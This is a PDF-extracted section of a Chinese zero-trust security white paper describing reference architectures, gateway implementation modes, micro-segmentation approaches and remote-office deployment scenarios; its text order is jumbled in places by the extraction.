图-零信任通用参考架构 3.3 通用参考架构 零 信 任 实 战 白 皮 书 零 信 任 参 考 架 构 零信任产业标准工作组 图-微隔离参考架构图 从架构上看,微隔离管理中心可以扩展为零信任安全控制中心组件,微隔离组件可以扩展为零信任安全代 理组件。微隔离本身也在发展过程中,目前业界有很多厂商正在基于微隔离的技术思路来实现零信任理念的落 地,并开发出了相关的零信任安全解决方案和产品。因此,从架构上看,微隔离具备扩展为零信任架构的条 件,并适应一定的应用场景,其自动化、可视化、自适应等特点也能为零信任理念发展带来一些好的思路。 其中,零信任安全控制中心组件作为SDP的Controller和NIST的PDP的抽象,零信任安全代理组件作为 SDP的AH和NIST的PEP的抽象。零信任安全控制中心核心是实现对访问请求的授权决策,以及为决策而开展的 身份认证(或中继到已有认证服务)、安全监测、信任评估、策略管理、设备安全管理等功能;零信任安全代 理的核心是实现对访问控制决策的执行,以及对访问主体的安全信息采集,对访问请求的转发、拦截等功能。 在第四章会进行详细的架构分解和技术实现介绍。 最后,对基于微隔离的架构做如下说明: 微隔离本质上是一种网络安全隔离技术,能够在逻辑上将数据中心划分为不同的安全段,一直到各个工作 负载(根据抽象度的不同,工作负载分为物理机、虚拟机、容器等)级别,然后为每个独立的安全段定义访问 控制策略。微隔离提出以来主要聚焦在东西向流量的隔离上,一是有别于传统物理防火墙的隔离作用,二是更 贴近云计算环境中的真实需求。 微隔离将网络边界安全理念发挥到极致,将网络边界分割到尽可能的小,能很好的缓解传统边界安全理念 下边界内过度信任带来的安全风险。 零 信 任 实 战 白 皮 书 零 信 任 参 考 架 构 零信任产业标准工作组 04 零信任实现方案 4.1.1 基础信息 4.1.2 零信任要素与目标 4.1 用户对资源访问模式实现 零信任架构是为了解决传统的边界安全理念重在边界的防护、对已经突破边界的攻击行为防护能力有限的 问题,为了提高安全防护能力,以及提高安全事件的发现和响应能力而被设计出的一套解决方案,并且在 Google这样的大型企业中得到了落地和验证。 零信任架构目前已经演变成比较全面、可覆盖大部分场景的安全思想,目前这种安全思想主要分为两类, 一类是站在发起方,用户对资源的访问模式,指的是用户访问内部资源时,如何验证用户是可信的,如何确保 访问来源终端可信,如何确认拥有访问资源权限。在该实现方案中,主要解决的是站在用户视角的零信任方 案。另外一类是站在服务方,即服务资源之间如何安全的互相访问。本节内容集中阐述用户对资源访问模式。 当前零信任受到产业界极大关注,导致各类安全产品、方案均往零信任的概念上靠,包括一些并非是真正 的零信任方案,因此有必要确认零信任的核心理念和元素,再进行实现上的展开。 在用户对资源访问模式下的零信任实现方案中,涉及的核心元素有以下: 1)用户:访问的主体,即真实自然人在网络中的身份映射; 2)终端:发起访问用的设备,系统环境软硬件、发起访问的可执行程序代码; 3)资源:最终要访问的和获取的客体,通常为内部应用系统。 4)链路:终端访问服务器的网络通道、网络链路。 上述核心元素中,所面临的主要风险有以下场景: 1)用户风险:针对用户身份的账号密码爆破、钓鱼、键盘记录等,其目标主要是为了盗取用户账号,以 用户身份开展恶意行为; 2)终端设备风险:终端设备安全风险包含,系统软件上的漏洞利用攻击,因基础防护不够容易被控制作 为跳板移动,通过社工攻击植入后门等;在硬件层面也涉及到硬件供应链的风险,导致数据泄漏或者入侵风 险;在可执行程序上,发起访问的应用可能是恶意代码病毒或者木马,并且可能绕过现有杀毒等安全检测; 3)资源访问风险:保护的服务资源,通常为攻击者最终目标,采用的方式除了利用盗取的用户身份直接 盗取资源数据外,还可能利用用户的终端设备对资源服务器开展攻击。 4)链路风险:网络链路可能存在当终端访问服务资源的的时候,被嗅探或是中间人攻击来获取数据和凭证。 按照零信任发展过程中的理念,以及上述主要安全风险,在实现零信任方案的过程中,要实现的核心目标 主要有以下几类: 1)用户可信:即如何确保用户的登陆、操作是本人操作,而非被盗取的攻击者行为。 2)终端可信:确保终端设备自身的安全可信,包括以下目标: 零 信 任 实 战 白 皮 书 零 信 任 实 现 方 案 零信任产业标准工作组 4.1.3 核心理念实现 在用户对资源访问模式中,零信任最核心最重要的理念,如下图: 4.1.4 抽象技术框架 在基于用户对资源的访问模式下的零信任,对架构进行抽象后的架构示意图如下: 1)用户、终端设备、链路、资源权限应是安全、可信的; 2)应建立起用户、终端设备和资源权限的信任链; 3)应持续、动态的检验,信任链是否还安全可信。 a)可信设备:终端应为可信设备,并授权可信用户使用; b)安全基线:终端应具备基础安全防护能力,满足安全基线要求; c)可信程序:终端发起资源请求的程序,应是可信程序,防止恶意程序的伪装。 3)资源权限可信:如何保障资源被拥有权限的用户正确获取,而非被越权或是被攻击的方式获取到。通 过访问控制策略做限制,只有指定的人、应用才能够访问指定的服务资源,减小业务系统安全风险暴露面。 4)链路传输可信:保障终端访问服务器的流量必须是加密,避免被中间人劫持。 考虑安全是动态过程,除了上述核心目标外,还有几类重要目标要一并考虑实现: 1)动态检测:安全不是持续不变的,现在是安全的不代表之后的都是正常的,因此需要对上述可信状态 实施动态检测;不管是通过自身的检测能力,还是联动第三方获取更加全面的安全状态信息。 2)动态防护:一旦所关注对象的安全状态发生变化,由可信变为不可信状态,应能动态进行隔离、阻 断、降级等操作,防止进一步的攻击和渗透。 零 信 任 实 战 白 皮 书 零 信 任 实 现 方 案 零信任产业标准工作组 4.1.5 技术实现方式 零信任在技术实现上有多种路径,常见的实现过程中基本都是对上述架构组件,进行不同技术程度的实现 而来,只要最终都可以满足零信任的核心目标,这类均可视为成功的零信任技术实现。 在技术实现分类上,将根据零信任网关的类型来进行区分,该划分模式可以覆盖绝大部分零信任实现,如 下: 1)反向代理网关方式(有终端Agent) 反向代理网关指的是在零信任网关实现上,通过七层Web协议反向代理方式,通过将后端业务域名解析到 网关上,实现对资源访问的拦截和转发,如下图: 该架构中的主要功能组件和承载功能如下: 1)零信任终端代理(Agent):用户侧的核心组件,主要功能如下: a)生成终端唯一表示码:用来区分不同终端和设备,防止终端伪造; b)建议用户建立授权关系:即允许该终端被什么用户使用,建立绑定关系; c)收集终端信息:用于决策中心判断终端安全状态,是否符合对资源访问的邀请; 2)零信任网关:暴露在外部可被用户直接访问的系统,主要功能如下: a)转发:对来访未经授权的请求进行认证授权转发,对已正确授权的请求进行资源访问转发; b)拦截:对禁止访问的请求进行拦截阻断,阻止向后访问。 3)零信任安全控制中心,主要功能如下: a)认证:对用户、终端身份进行认证和授权; b)持续访问控制: 访问控制策略:访问控制策略包含访问过程的关键对象、访问权限、环境安全状态因素,可以进 行灵活的配置,方便在访问建立、访问中可以根据访问策略做风险判断,进行授权访问或者实时 阻断; 动态安全检测:决策中心对鉴权和安全状态的检验应该是持续动态的过程,即每次对资源对访问 应该都重新进行鉴权和检验;同时需要获取访问过程中关键对象、关键环境的安全状态,判定访 问过程是否有风险; 动态防护响应:如果判定有风险的相关访问,应该可以及时采取降权、阻断等防护策略。 4)零信任管理后台:提供集中化管理能力,主要功能如下: a)用户管理:对用户进行集中化授权管理,包括用户账号的安全管控和策略; b)终端管理:对终端设备进行集中化管理,包括终端安全管控和策略; c)资源管理:对接入对资源进行集中化管理,包括资源接入和授权; d)策略管理:安全控制中心的策略控制,策略判断条件配置和管理。 零 信 任 实 战 白 皮 书 零 信 任 实 现 方 案 零信任产业标准工作组 该方式下的简化访问过程如下: a)用户通过零信任终端Agent进行设备注册和授权,获取客户端证书; b)终端Agent进行安全基线加固,以及上传终端设备安全状态; c)应用系统域名通过DNS解析到反向代理网关中; d)用户通过浏览器(或集成上述Agent功能的安全浏览器),发起资源访问请求到反向代理网关; e)反向代理网关通过决策中心,验证用户身份、设备是否授权、设备安全状态以及资源权限关系; f)反向代理网关鉴权通过后,带上凭证将请求转发给应用系统,获取资源; g)反向代理网关将资源转发给终端,完成一次请求。 实现原理示意: 实现描述: a)1-2终端在身份认证之后进行鉴权,获得鉴权证明,可以是证书、密钥等协议支持的信息; b)3-4浏览器直接访问对应URL解析到网关入口; c)5-6网关通过hostname还有鉴权用的证书或者密钥等,做对应的访问控制,验证访问合法后,就通过 转发数据到实际的Web业务服务器。 零 信 任 实 战 白 皮 书 零 信 任 实 现 方 案 零信任产业标准工作组 该方式下的简化访问过程如下: a)用户通过浏览器,发起资源访问请求到反向代理网关; b)反向代理网关通过安全控制中心,验证用户身份、设备是否授权、设备安全状态以及资源权限关系; c)应用系统域名通过DNS解析到反向代理网关中; d)反向代理网关鉴权通过后,带上凭证将请求转发给应用系统,获取资源; e)反向代理网关将资源转发给终端,完成一次请求。 在技术实现过程中,主要需要注意几点: a)控制通道和数据传输通道应分离,防止堵塞后互相影响; b)终端Agent需接受终端安全策略,实现设备安全可信,以及用户对应客户端证书的申请维护; c)浏览器访问后端应用时,传输通道应加密,并带入客户端证书和用户、设备信息进行认证授权; d)网关可以通过客户端证书,以及带入的设备和用户信息实现用户和设备的身份合法性校验。 该模式下零信任实现上,除了零信任自身的一些优点还,具有以下优势: a)由于是七层Web代理,因此可以基于应用进行细颗粒的授权控制,可以深入到对特定应用,特定资源 的控制; b)由于所有的请求对网关是透明的,因此可以对内容进行分析、审计,提高安全检测能力; c)由于都是Web协议,请求效率较高,可靠性强。 除了以上优势外,该模式也有一些劣势,如下: a)对于非Web的业务,如C/S应用难以支持,对于全场景的办公需求支持难度较大; 2) 反向代理网关方式(无终端Agent) 反向代理网关指的是在零信任网关实现上,通过七层HTTP协议反向代理方式,通过将后端业务域名解析 到网关上,实现对资源访问的拦截和转发,无终端Agent模式和有终端Agent模式差异如下图: 零 信 任 实 现 方 案 零 信 任 实 战 白 皮 书 零信任产业标准工作组 在技术实现过程中,主要需要注意几点: a)由于无零信任Agent,因此主要的安全控制在网关和安全控制中心; b)安全控制中心主要对用户身份进行认证和授权。 该方式下零信任实现上,主要优势: a)由于无用户端Agent,实现相对简单,方便提供给协作或者管理不受控的终端用户; b)由于是七层HTTP代理,因此可以基于应用进行细颗粒的授权控制,可以深入到对特定应用,特定资源 的控制; c)由于所有的请求对网关是透明的,因此可以对内容进行分析、审计,提高安全检测能力; d)由于都是HTTP协议,请求效率较高,可靠性强。 除了以上优势外,该方式也有一些劣势,如下: a)由于没用零信任Agent,因此无法得知终端设备安全情况,也无法建立用户到设备的可信授权,不能完 整的实现零信任核心目标; b)此外对于非HTTP的业务,如C/S应用难以支持,对于全场景的办公需求支持难度较大; 实现原理示意: 零 信 任 实 战 白 皮 书 零 信 任 实 现 方 案 零信任产业标准工作组 3)应用层代理网关方式 应用层代理模式指的是在零信任网关实现上,通过七层应用代理方式,将对后端应用的访问通过本地应用 层代理配置,将应用层请求发至应用层代理网关中,由应用层代理网关进行拦截、转发,如下图: 该模式下的简化访问过程如下: a)用户通过零信任终端Agent进行设备注册和授权; b)终端Agent进行安全基线加固,以及上传终端设备安全状态; c)用户通过零信任终端Agent(或可信集成的浏览器),来设置本地应用层代理配置,指定特定资源的访 问由应用层代理发至应用层代理网关中; d)应用层代理网关通过安全控制中心,进行认证和鉴权; e)应用层代理网关鉴权通过后,将请求转发给应用系统,获取请求资源; f)应用层代理网关将资源转发给零信任终端,完成资源请求。 实现原理示意: 零 信 任 实 现 方 案 零 信 任 实 战 白 皮 书 零信任产业标准工作组 实现描述: a)0-1配置不同第三方应用程序兼容性,系统代理设置、浏览器设置、环境变量配置,以及其他可以通过 插件支持配置的软件; b)2-4本地启动一个代理服务劫持所有发生的访问请求,进行安全检查身份检查和访问授权,如果是需要 转发的,则加密转发到对应的应用代理网关,否则直接通过物理网卡直连出去; c)5网关代理做二次的授权控制,身份-访问资源的合法性校验,合法则进行流量代理; d)6网关代理需要守护和安全检查,必须对本地代理的请求做严格的数据来源合法性校验和保护。 该模式下零信任实现上,除了零信任自身的一些优点还具有以下优势: a)由于是应用层代理,因此可以基于应用进行细颗粒的授权控制,可以深入到对特定应用,特定资源的 控制; b)由于所有的请求对网关是透明的,因此可以对内容进行分析、审计,提高安全检测能力; 除了以上优势外,该模式也有一些劣势,如下: a)对于非HTTP的业务,部分开放设置能力的CS应用客户端可以支持配置,大部分CS架构的客户端都是 不支持的,对于全场景的办公需求支持难度较大; 4)流量代理网关方式 流量代理方式在实现上,主要是通过零信任Agent通过hook、虚拟网卡、网络过滤驱动等方式,将本地流 量转发给零信任网关,零信任网关负责流量的拦截和转发,如下图: 零 信 任 实 现 方 案 零 信 任 实 战 白 皮 书 零信任产业标准工作组 实现描述: a)1-2认证之后,Agent利用本地流量劫持的方式,通过网卡设备驱动或者网卡系统过滤驱动,劫持所有 的TCP和UDP流量。涉及到的需要转发的URL、IP的流量检查,同时兼容具体的业务进程发起的访问,对业务 进程进行白名单安全性检查。 b)3本地流量劫持的服务进程或者代码,对发起访问的应用进程白名单或者可信检查,同时身份-访问业 务系统的合法性的检查,也可以增加获取本机当前的安全基线状态,确认之后分配到对应的授权加密附带授权 信息,转发到网关。没有分配到授权则直接提供物理网卡对外直连。 c)4本地劫持服务对网关直接提供加密信道,内容包含对应访问授权和原始数据的加密。 d)5-6进行授权二次访问控制确认,合法流量解密还原成为原始流量,负载发送给到具体的业务系统。 该模式下的简化访问过程如下: a)用户通过零信任终端Agent进行设备注册和授权; b)终端Agent进行安全基线加固,以及上传终端设备安全状态; c)用户通过零信任终端Agent的hook方式、虚拟网卡、网络过滤驱动方式,将对资源发起访问请求转发到 流量代理网关上; d)流量代理网关通过安全控制中心,进行认证和鉴权; e)流量代理网关鉴权通过后,将请求转发给应用系统,获取请求资源; f)流量代理网关将资源转发给零信任终端,完成资源请求。 实现原理示意: 零 信 任 实 战 白 皮 书 零 信 任 实 现 方 案 零信任产业标准工作组 该模式下零信任实现上,除了零信任自身的一些优点还,具有以下优势: a)由于是四层流量代理,因此可以实现全局代理,无论是B/S应用,还是C/S应用都可以通过流量代理网 关进行控制和授权; b)此外该模式下,C/S应用不需要改造,可以直接接入进零信任体系中,对业务干扰较小; c)由于是全局流量代理,因此可以实现更多数据分析,提高安全检测能力。 除了以上优势外,该模式也有一些劣势,如下: a)由于是四层流量代理,因此对于加密的请求,解密成本较大,因此不易实现精细化的权限控制,例如 针对垂直的WEB流量,需要额外用垂直的WEB流量网关,基于HTTP协议层做对应更加细化的访问控制。 b)另外对于加密数据,如果安全上需要做数据分析,对应消耗更多分析性能。 c)另外全流量代理模式下,容易出现和其他安全类流量劫持软件冲突,需要对应修复支持工具。 5)混合网关方式 通过1-4的实现方式可以看出,单一的实现方式都有其弊端和优势,例如用了全流量代理可能导致无法识 别内容,无法对特定应用进行解析和精细的权限控制,因此也可以将技术实现方式进行融合,融合点主要是在 网关对上述多个能力进行整合,用全流量代理网关作为统一入口,对特定应用的控制由应用代理模块进行控 制,在实现上同时拥有全流量代理、Web应用反向代理、应用层代理(其他RDP、SSH、IOT等)能力,如下 图: 零 信 任 实 战 白 皮 书 零 信 任 实 现 方 案 零信任产业标准工作组 该模式下的简化访问过程如下: a)用户在访问资源时,根据所访问的资源类型,将请求转发到流量代理网关上; b)流量代理网关通过安全控制中心对用户进行认证和鉴权; c)流量网关根据请求的资源类型,鉴权通过后将请求转发,向后转发中分为以下情景: 直接转发:如果没有特定应用代理模块,请求将直接转发到应用中,例如C/S应用; 转发到应用代理模块:有特定应用控制的模块时,将请求转发到应用代理模块中,由应用代理模块进 一步进行更细粒度的鉴权,例如对SSH服务进行零信任控制和授权,对Web应用进行零信任控制和授 权,或是更特定业务协议的场景,IOT的零信任控制授权。 d)流量代理网关将资源转发给终端,完成资源请求响应。 混合实践举例:有Agent和无Agent的场景,满足不同的权限控制需要: a)提供一套流量网关服务器和Agent,提供给企业内部职员终端安全访问,实现强终端安全防护和管控目 标; b)同时部署一套对外提供反向代理网关,通过DNS解析将部分业务代理出去,提供给合作商,针对一些 敏感数据泄漏风险较低的系统,用户可以不用安装客户端直接由WEB Portal方式,经身份认证鉴权后访问。 该方式下零信任实现上,除了零信任自身的一些优点还,具有以下优势: a)由于混合代理方式,如果业务要求全部场景,可以使用全流量代理模式,处理C/S和B/S系统的终端应 用; b)如业务方需要对特定业务实现更精细对权限控制,例如对SSH、RDP登录或是WEB应用进行零信任控 制和授权,需要应用代理的应用解析能力,因此可以基于应用进行细颗粒的授权控制,可以深入到特定应用 中,对特定资源进行零信任的授权控制; c)由于兼顾了全流量代理和特定应用的应用层代理,因此可以获取到全流量和特定应用的数据提取,提 高安全检测能力。 零 信 任 实 战 白 皮 书 零 信 任 实 战 白 皮 书 零 信 任 实 现 方 案 零信任产业标准工作组 在用户对资源访问的零信任实现上,具体到落地部署中,可以根据企业特点有多种部署方式,下面列举常 见的几类部署模式: 1)企业内部部署 在企业内部部署模式中,零信任网关主要用于企业内部服务保护,因此部署位置将零信任网关放置到服务 器网络前,如下图: 通过零信任系统提供统一的业务安全访问通道,关闭职场内部终端直连内部业务系统的网络策略,尽可能 避免企业内部服务全部暴露在办公网络(内网中过多的默认信任)。 所有的终端访问都要进过终端身份校验(人的安全可信),终端/系统/应用的可信确认(终端设备的安全 可信),还有细粒度的权限访问校验,然后才可以通过加密安全网关访问具体的业务(链路的安全可信),这 样能极大的降低和减少内部业务资产被恶意扫描和攻击的行为。 2)集团多分支部署 集团公司,其全国/全球的多个分支子公司、办事处、并购公司、外部合作(协作)公司等员工需要安全 访问集团内部系统,该需求模式下可以采用以下部署模式,实现多分支的访问: 4.1.6 部署模式 零 信 任 实 战 白 皮 书 零 信 任 实 战 白 皮 书 零 信 任 实 现 方 案 零信任产业标准工作组 该部署模式中可以针对集团、子公司的组织架构(用户群组)或者具体人员(用户)设置访问策略,员工 访问可达的集体内部系统仅限于指定的业务(细粒度授权),不可越界。应保障访问过来的人员身份、设备、 链路的安全,同时子公司的终端或者账户如果有异常可以及时阻断访问。 3)云业务服务部署 中小企业用户多数使用多个公有云服务商的云服务,在不同的公有云上部署不同的业务类型,难以构建一 个包含多个云服务的企业网络来保障访问策略的统一和对资源的安全访问控制,对这类场景可以采用如下部署 模式: 零 信 任 实 战 白 皮 书 零 信 任 实 战 白 皮 书 零 信 任 实 现 方 案 零信任产业标准工作组 1) 数据中心的集中化建设,导致数据泄露风险增加 数据中心的集中化建设,解决了集中运维、管理的问题,同时也节约了资源成本,但数据的集中也增加了 数据泄露的风险。通过Killchain模型我们可以看到,现代的攻击都有一些显著特点,一旦边界的防线被攻破或 绕过,攻击者就可以在数据中心内部横向移动,而中心内部基本没有安全控制的手段可以阻止攻击。这也突出 了传统安全的一个主要弱点,复杂的安全策略、巨大的资金和技术都用于了边界防护,而同样的安全投入并不 存在于内部。 2) 内部恶意软件传播 目前多数的网络安全架构来看:为遏制病毒的入侵,多数在边界处部署了防毒墙,以及采用内外网隔离的 该部署模式下多个云复用同一个零信任控制中心,提供统一访问控制策略,通过低流量的策略同步或者其 他不影响带宽的机制,做到统一的授权管理。用户在具体要访问哪个云上业务的时候,就可以通过控制中心, 对接到相应云的零信任网关入口进行访问。 4.2 服务之间调用模式实现 4.2.1 需求分析 零 信 任 实 战 白 皮 书 零 信 任 实 现 方 案 零信任产业标准工作组 核心元素: a)工作负载:workload,承载业务的主机,可以是物理服务器、虚拟机或容器。 b)访问者:发起访问一方的工作负载。 c)提供者:提供服务一方的工作负载。在数据中心中,任意一个工作负载都可能本身即是提供者,也是 其他工作负载的访问者。 d)服务:即根据业务需要所开放的供其他工作负载或用户访问的服务。 以上核心元素,面临的风险场景如下: a)工作负载风险:对于不同的主机形态,数据中心内部的零信任建设是否可以覆盖,防止“木桶”出现短 板。 b)访问者风险:访问者是否是可信的,如攻击者通过钓鱼邮件、口令破解、0day漏洞等拿下一台工作负 载后,以此为跳板在内部发起攻击。而这种攻击边界防护是无法发现的。 c)提供者风险:往往被作为攻击的目标,通过跳板机去探测提供者所提供的服务是否存在漏洞等。 d)服务风险:服务的风险有两个方面,一是工作负载是否提供了业务不需要的服务(端口),例如445, 139等,很多攻击及病毒的传播都是由于过大的暴露面。二是服务的调用是否符合业务逻辑,在实际环境中, 数据中心往往采用大二层网络,无法对服务的调用进行有效控制。 综上所述,在实现零信任方案的过程中,要实现的核心目标主要有以下几类: a)尽可能的覆盖现有工作负载。 b)访问者、服务者可信。可参考以下方式:设备特征,如已安装的软件版本、网络位置、以前观察到的 行为、已安装的凭证等。 c)服务最小化原则:1.限制无用端口的开放,形成进程/端口台账。2.限制服务的可视性及可访问性。可 考虑采用访问控制或加密的方式。 考虑到不同于用户访问资源的已知授权式访问,工作负载之间的调用在多数企业内没有进行过有效梳理, 方式;为防止病毒,内部的PC端多通过杀毒软件进行漏洞管理及病毒查杀。而考虑服务器的稳定运行及性能, 数据中心很少会部署杀毒软件,目前最常见的方式是通过划分VLAN的方式将数据中心内部的服务器划分为多 个区域。这种架构,虽然边界关闭了无用端口、过滤了流量,但一旦内部某一台工作负载感染病毒,病毒即可 在区域内部进行传播。 基于零信任的理念,威胁并不只存在外部,对于数据中心内部而言,也需要建立安全防线,从而保障工作 负载之间的受控访问。 4.2.2 核心理念 零 信 任 实 战 白 皮 书 零 信 任 实 战 白 皮 书 零 信 任 实 现 方 案 零信任产业标准工作组 所以内部的业务流可见性是实现工作负载之间零信任的基础,也决定了管理能做到的细粒度。 动态策略调整同样是该场景下,零信任实施应该考虑的关键,尤其是针对大型云计算数据中心及容器环 境。通过动态的策略调整,减少人工参与,才能使工作负载之间的零信任建设适应业务的动态变化。 基于对工作负载之间访问的零信任建设,核心技术框架如下: 对于数据中心内部零信任的建设,一般采用软件定义的方式进行,分为控制平面与数据平面。该架构的核 心组成如下: 1) 零信任安全控制中心:负责鉴权和授权判断,并提供业务流的可视化能力。主要功能如下: a)认证:对工作负载身份进行认证和授权; b)安全策略配置:统一的安全策略配置管理,访问控制策略可以灵活组合。 c)动态策略调整:根据环境的变化,动态计算修改安全策略。 2)零信任安全代理(策略执行点):用于执行访问控制决策,允许/拒绝通信或进行协商加密;有时也会将 工作负载的相关信息同步给安全控制中心,从而辅助其进行决策。可以单个逻辑组件(充当连接门卫的单个门 户组件),或分为两个不同的组件:客户端(例如安装在工作负载之上)和网关端(例如在资源之前控制访问 的组件)。 4.2.3 技术框架 零 信 任 实 战 白 皮 书 零 信 任 实 战 白 皮 书 零 信 任 实 现 方 案 零信任产业标准工作组 对于服务之间调用的零信任实现方式,主要参考Gartner相关报告,但在介绍Gartner的实现方式之前,也 简单说明一下NIST报告早年对于内部隔离方式的划分。与Gartner定义的四种实现方式不同,NIST将传统方式 结合其中,共分为5种,分别为: a)基于虚拟化宿主机的隔离(Segmentation based on Virtualized Hosts):将不同安全级别的应用部署 在不同宿主机的虚拟机中,再将宿主机连接至不同物理交换机上,在通过防火墙进行控制。 b)基于虚拟交换机的隔离(Segmentation using Virtual Switches) c)基于虚拟化防火墙的隔离(Network Segmentation using Virtual Firewalls) d)在虚拟化网络中使用VLAN进行隔离(Network Segmentation using VLANS in Virtual Network) e)基于跨平台的网络隔离(Network Segmentation using Overlay-based Virtual Networking) 从以上的划分可以看出,NIST将多种传统的隔离方式进行了列举,具有一定的局限性,毕竟是2015年发 布的报告。数据中心的不断变化以及用户的需求增加都促使隔离技术的发展,2017年Gartner总结了更符合现 代数据中心内部隔离方式,而随着零信任研究的不断深入,这四种方式被广泛接受及引用。本章节主要以参考 Gartner报告的分类为主。 以下为四种工作负载之间隔离的实现方式,不同实现方式也对应了不同的部署方式,没有哪一种方式是最 佳的隔离方案,应根据自身的数据中心环境选择最适合自己的方式。 1)云原生控制 这种路线在虚拟化平台提供者中比较常见。往往在虚拟化平台、IaaS、Hypervisor或基础设施中提供。最 基本的功能非常类似于配置单个主机,更高级的功能往往提供了复杂分组和名称的简单抽象。 4.2.4 实现方式 零 信 任 实 战 白 皮 书 零 信 任 实 战 白 皮 书 零 信 任 实 现 方 案 零信任产业标准工作组 与VLAN一样,云原生控制方式通常适合于隔离,而不是访问控制。服务器之间的隔离往往是东西向访问 控制的要求,安全功能的相对强度通常低于南北向,涉及的是控制而不是隔离流量。 该模型的主要优点是不需要额外的部署,隔离能力和基础设施是紧密耦合的,在控制台和管理方面使用了 类似的外观,并且比添加其他供应商的安全工具更便捷。 2)基于第三方防火墙 此技术路线主要基于第三方防火墙供应商提供的虚拟防火墙(与虚拟基础设施供应商提供的防火墙不同)。 此种方式有两种部署模式,一种为在虚拟化环境的每一台宿主机上运行一台虚拟化防火墙,通过跟底层架构的 对接,使此台宿主机上虚拟机的流量先由此虚拟化防火墙处理,从而实现对工作负载的控制(如下图)。 零 信 任 实 战 白 皮 书 零 信 任 实 现 方 案 零信任产业标准工作组 总体来说,第三方防火墙方式的最大优势在于其可以提供丰富的安全能力及报告,相当于将防火墙/下一代 防火墙功能移植到虚拟化环境内部。而这种方式的不足在于需要跟虚拟化架构的底层做对接,目前结合最完善 的平台主要为VMware,而且只能支持本地虚拟化环境,无法覆盖公有云、物理环境及容器环境。 3)基于代理模式 大多数Overlay模式,使用某种形式的代理或软件,这些代理或软件必须部署在每个主机(虚拟机)中,而 不是像防火墙那样在外部控制通信。在分区以进行分割的过程中,大多数其他模型关注于在主机周围形成虚拟 墙的类似网络的抽象,而Overly模型通常以一种更动态的方式控制启用代理的主机之间的通信。中央控制器用 于维护策略配置并与代理通信。 第二种模式为利用与NFV的结合来进行控制,NFV的启用使得虚拟防火墙有了更强的控制,因为它们主要 与网络活动交互,而不是嵌入到主机中(如下图)。 零 信 任 实 战 白 皮 书 零 信 任 实 现 方 案 零信任产业标准工作组 此种方式除了使用主机墙作为控制手段外,也有部分供应商利用工作负载之间的协商加密方式进行通信控 制。加密也是一种隔离,而这种方式相当于在现有的网络上又构建出不同的独立网络,只有按照策略完成协商 的才可以进行通信。 基于主机代理模式的最大优点在于可以覆盖几乎所有环境(对于部分小型机支持程度一般),包括物理环 境、任何底层架构的私有云、公有云以及容器环境。而不足则是需要安装代理,这在部分客户处较难推进。 4)混合模式 混合模式一般是通过不同其它模式进行组合使用,例如使用本地控件和第三方控件进行组合。使用第三方 控件进行南北通信(例如,在Web服务器和应用程序服务器之间),使用本地控件进行东西连接(例如,数据服务 器到数据服务器)。 零 信 任 实 战 白 皮 书 零 信 任 实 现 方 案 零信任产业标准工作组 05 零信任应用场景 本章从用户需求角度主要介绍了零信任理念的应用场景,供用户在零信任规划阶段(梳理零信任建设目 标、设计零信任系统方案、选择零信任产品等)参考。 随着整个社会的信息化程度、移动化程度不断提高,企业“内部业务系统”逐步成为组织的核心资产,随时 随地处理企业内部业务系统的信息变得越来越普遍和重要。企业员工有职场内(公司场所)、职场外(远程) 灵活办公的需求。职场内,以防止企业内部威胁为主;职场外,当员工因疫情、台风等原因需在家临时办公, 或者长期出差在外,以及外部伙伴因业务合作需要访问企业内部系统,需要确保远程办公访问过程的安全,以 减少企业内部系统被从职场外部入侵的风险。同时,如何在保障远程办公安全的同时兼顾效率,也成为一个越 来越现实的问题和挑战。 从远程办公的业务需求上来看,主要有以下业务场景: 1)普通办公需求:主要需求是访问公司的OA、审批系统、知识管理系统,以及公司的邮件、即时通讯、 视频会议系统等; 2)开发测试需求:主要需求是访问公司的测试环境、代码仓库、持续集成系统等; 3)运维需求:主要需求是能远程登陆运维管理平台、远程服务器登陆维护等。 5.1.1 远程办公安全 5.1.1.1 需求描述 职场内部,传统安全架构下内部系统完全暴露在企业职场办公网络,一旦员工办公终端设备被植入木马或 者未知威胁的恶意代码,攻击者可以直接进行企业内网扫描和横向移动,快速掌握企业内网的所有数字资产。 职场外部,员工所处的网络环境安全无法保障,BYOD的流行使得员工访问企业内部系统的终端设备不再安全 可靠。而传统远程办公,多数企业是采用VPN的方案,但VPN方案已经越来越无法满足当前安全和效率需求, 并暴露出来一些先天的缺陷,主要体现在以下几个方面: 1)无法判断来源系统环境的安全性,存在以来源终端为跳板攻击企业内网的风险; 2)无法进行精细化、动态化的权限控制; 3)缺乏安全感知能力,只能基于网络流量进行审计; 4)扩展能力较差,无法应对大规模的突发远程办公需求。 在新的需求和安全形势下,使用零信任安全架构的远程办公方案可以较好的解决传统VPN方案的种种弊 端,架构图如下。 5.1.1.2 存在问题 5.1.1.3 解决方案 5.1 办公安全 零 信 任 实 战 白 皮 书 零 信 任 应 用 场 景 零信任产业标准工作组 通过零信任系统提供统一的业务安全访问通道,取消职场内部终端直连内部业务系统的网络策略,尽可能 避免企业内部服务完全暴露在办公网络中的情况。所有的终端访问都需进行用户身份校验和终端/系统/应用的 可信确认,并进行细粒度的权限访问校验,然后通过零信任网关访问具体的业务,这样能极大的减少企业内部 资产被非授权访问的行为。 在零信任远程办公方案中,零信任网关暴露在外网而内部资产被隐藏,通过可信身份、可信设备、可信应 用、可信链路,建立信任链的方式来访问资源。方案中比较重要的核心模块功能如下: a)零信任Agent:在用户终端安装的零信任Agent实现了对设备的注册、安全状态上报、基线修复等功 能,通过Agent实现用户与终端的绑定和信任建立,让零信任访问控制和保护引擎(安全控制中心)可以动态 评估终端环境安全风险; b)零信任网关:零信任网关提供对外访问入口,通过七层HTTP代理,或是四层网络流量代理等方式,实 现将内部资源代理到外部访问中; c)零零信任访问控制和保护引擎:该模块主要实现认证与鉴权两个功能,认证可以通过多因素认证解决 用户身份可信问题,还有设备信任、应用信任等,通过零信任的终端、用户、资源、链路的信任链和动态校验 机制,来确保对资源的可信访问; d)内部系统:内部系统在零信任网关保护之后,只有通过零信任的认证和授权后才可以被访问使用。 部署上面,职场外可通过多运营商DNS解析不同的IP入口保障远程用户访问可达,通过负载均衡入口减少 对外暴露IP的资源消耗,并能够实现网关处理能力的快速扩展。职场内可以通过同样的DNS解析到内部网关, 或者通过控制通道提供网关列表给终端,进行探测选择。这样内网只要网络带宽够,可以无限制扩展网关,不 零 信 任 实 战 白 皮 书 零 信 任 应 用 场 景 零信任产业标准工作组 远程办公需求 零信任方案实现 普通办公需求:主要需求是访问公司的OA、审批系统、知识管理系 统,以及公司的邮件、即时通讯、视频会议系统等; 开发测试需求:主要需求是访问公司的测试环境,代码仓库,持续集成 系统等; 